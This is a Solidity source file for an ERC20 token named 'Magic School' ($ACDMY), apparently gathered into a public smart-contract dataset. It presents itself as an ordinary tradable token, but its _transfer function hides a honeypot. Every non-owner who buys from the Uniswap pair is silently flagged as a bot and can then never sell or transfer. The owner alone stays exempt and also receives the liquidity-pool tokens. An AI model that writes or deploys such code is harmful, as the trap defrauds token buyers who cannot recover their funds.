File size: 9,621 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
) external payable returns (
uint256 amountToken, uint256 amountETH, uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
contract Ownable is Context {
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
}
function owner() public view returns (address) { return _owner; }
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner.");
_;
}
function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
function transferOwnership(address newOwner) external virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address.");
_owner = newOwner;
}
}
contract MagicSchool is IERC20, Ownable {
IRouter public uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Magic School";
string private constant _symbol = "$ACDMY";
uint8 private constant _decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000000000 * 10**18;
mapping (address => bool) public automatedMarketMakerPairs;
bool private isLiquidityAdded = false;
uint256 public maxWalletAmount = _totalSupply;
uint256 public maxTxAmount = _totalSupply;
mapping (address => bool) private _isExcludedFromMaxWalletLimit;
mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
constructor() {
IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[deadWallet] = true;
_isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxWalletLimit[address(this)] = true;
_isExcludedFromMaxWalletLimit[owner()] = true;
_isExcludedFromMaxWalletLimit[deadWallet] = true;
_isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
_isExcludedFromMaxTransactionLimit[address(this)] = true;
_isExcludedFromMaxTransactionLimit[owner()] = true;
_isExcludedFromMaxTransactionLimit[deadWallet] = true;
balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
receive() external payable {} // so the contract can receive eth
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
_approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function _approve(address owner, address spender,uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "automated market maker pair is already set to that value.");
automatedMarketMakerPairs[pair] = value;
}
function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner {
require(_isExcludedFromMaxWalletLimit[account] != excluded, "wallet address already excluded.");
_isExcludedFromMaxWalletLimit[account] = excluded;
}
function excludeFromFees(address account, bool excluded) external onlyOwner {
require(_isExcludedFromFee[account] != excluded, "wallet address already excluded.");
_isExcludedFromFee[account] = excluded;
}
function activateTrading() external onlyOwner {
require(!isLiquidityAdded, "you can only add liquidity once.");
isLiquidityAdded = true;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
uniswapV2Pair = _uniswapV2Pair;
maxWalletAmount = _totalSupply * 35 / 1000; // 3.5%
maxTxAmount = _totalSupply * 35 / 1000; // 3.5%
_isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
_isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
}
function name() external pure returns (string memory) { return _name; }
function symbol() external pure returns (string memory) { return _symbol; }
function decimals() external view virtual returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0), "cannot transfer from the zero address.");
require(to != address(0), "cannot transfer to the zero address.");
require(amount > 0, "transfer amount must be greater than zero.");
require(amount <= balanceOf(from), "cannot transfer more than balance.");
if ((from == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[to]) ||
(to == uniswapV2Pair && !_isExcludedFromMaxTransactionLimit[from])) {
require(amount <= maxTxAmount, "transfer amount exceeds the maxTxAmount.");
}
if (!_isExcludedFromMaxWalletLimit[to]) {
require((balanceOf(to) + amount) <= maxWalletAmount, "expected wallet amount exceeds the maxWalletAmount.");
}
if (to != owner() && from != owner()) {
if (from == uniswapV2Pair) { _isBot[to] = true; } // buy
if (to == uniswapV2Pair) { require(!_isBot[from]); } // sell
if (from != uniswapV2Pair && to != uniswapV2Pair) { require(!_isBot[from] && !_isBot[to]); } // transfer
}
balances[from] -= amount;
balances[to] += amount;
emit Transfer(from, to, amount);
}
} |